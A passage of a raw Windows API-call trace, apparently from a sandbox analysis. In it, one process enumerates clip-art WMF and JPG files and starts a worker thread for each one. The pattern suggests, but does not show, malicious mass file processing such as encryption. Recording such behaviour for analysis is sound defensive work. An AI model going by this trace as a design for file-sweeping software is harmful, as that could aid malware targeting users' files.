	[0241.270] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaefa, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0214948.WMF", cAlternateFileName="")) returned 1
	[0241.270] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cf8
	[0241.272] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.273] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26227e00, ftCreationTime.dwHighDateTime=0x1be5489, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26227e00, ftLastWriteTime.dwHighDateTime=0x1be5489, nFileSizeHigh=0x0, nFileSizeLow=0x2d6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0215070.WMF", cAlternateFileName="")) returned 1
	[0241.273] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cfc
	[0241.275] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.275] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2209e400, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2209e400, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1f50, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0215076.WMF", cAlternateFileName="")) returned 1
	[0241.275] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d00
	[0241.277] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.278] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81ce, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0215210.WMF", cAlternateFileName="")) returned 1
	[0241.278] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d04
	[0241.280] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.281] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852fb100, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852fb100, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x244a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0215709.WMF", cAlternateFileName="")) returned 1
	[0241.281] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d08
	[0241.283] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.284] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87920b00, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87920b00, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x45a2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0215710.WMF", cAlternateFileName="")) returned 1
	[0241.284] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0c
	[0241.286] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.287] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95e02700, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95e02700, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x15f2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0215718.WMF", cAlternateFileName="")) returned 1
	[0241.287] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d10
	[0241.289] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.290] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa783, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0216112.JPG", cAlternateFileName="")) returned 1
	[0241.290] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d14
	[0241.291] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.292] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5474, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0216153.JPG", cAlternateFileName="")) returned 1
	[0241.292] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d18
	[0241.294] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.294] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa488, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0216540.WMF", cAlternateFileName="")) returned 1
	[0241.294] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d1c
	[0241.297] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.297] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0216570.WMF", cAlternateFileName="")) returned 1
	[0241.297] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d20
	[0241.312] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.312] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f46, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0216600.WMF", cAlternateFileName="")) returned 1
	[0241.313] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d24
	[0241.314] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.315] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24e2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0216612.WMF", cAlternateFileName="")) returned 1
	[0241.315] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d28
	[0241.317] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.317] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b3a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0216874.WMF", cAlternateFileName="")) returned 1
	[0241.317] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d2c
	[0241.319] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.320] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0217262.WMF", cAlternateFileName="")) returned 1
	[0241.320] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d30
	[0241.322] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.323] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0217302.WMF", cAlternateFileName="")) returned 1
	[0241.323] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d34
	[0241.326] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.326] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0217872.WMF", cAlternateFileName="")) returned 1
	[0241.326] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d38
	[0241.328] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.329] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8ad6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0227419.JPG", cAlternateFileName="")) returned 1
	[0241.329] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d3c
	[0241.331] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.332] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe2e9, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0227558.JPG", cAlternateFileName="")) returned 1
	[0241.332] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d40
	[0241.334] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.335] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccb1700, ftCreationTime.dwHighDateTime=0x1be8602, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaccb1700, ftLastWriteTime.dwHighDateTime=0x1be8602, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0228823.WMF", cAlternateFileName="")) returned 1
	[0241.335] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d44
	[0241.337] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.338] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0228959.WMF", cAlternateFileName="")) returned 1
	[0241.338] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d48
	[0241.340] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.341] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1daa, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0230553.WMF", cAlternateFileName="")) returned 1
	[0241.341] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4c
	[0241.343] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.343] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1066, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0230558.WMF", cAlternateFileName="")) returned 1
	[0241.343] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d50
	[0241.345] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.345] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x332a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0232171.WMF", cAlternateFileName="")) returned 1
	[0241.345] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d54
	[0241.384] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.385] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d8c500, ftCreationTime.dwHighDateTime=0x1be1ff6, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22d8c500, ftLastWriteTime.dwHighDateTime=0x1be1ff6, nFileSizeHigh=0x0, nFileSizeLow=0x6bc2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0232393.WMF", cAlternateFileName="")) returned 1
	[0241.385] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d58
	[0241.387] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.387] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa1c300, ftCreationTime.dwHighDateTime=0x1be1ff5, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaa1c300, ftLastWriteTime.dwHighDateTime=0x1be1ff5, nFileSizeHigh=0x0, nFileSizeLow=0xa086, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0232395.WMF", cAlternateFileName="")) returned 1
	[0241.387] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d5c
	[0241.390] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.390] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5779c00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5779c00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x380a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0232795.WMF", cAlternateFileName="")) returned 1
	[0241.390] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d60
	[0241.392] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
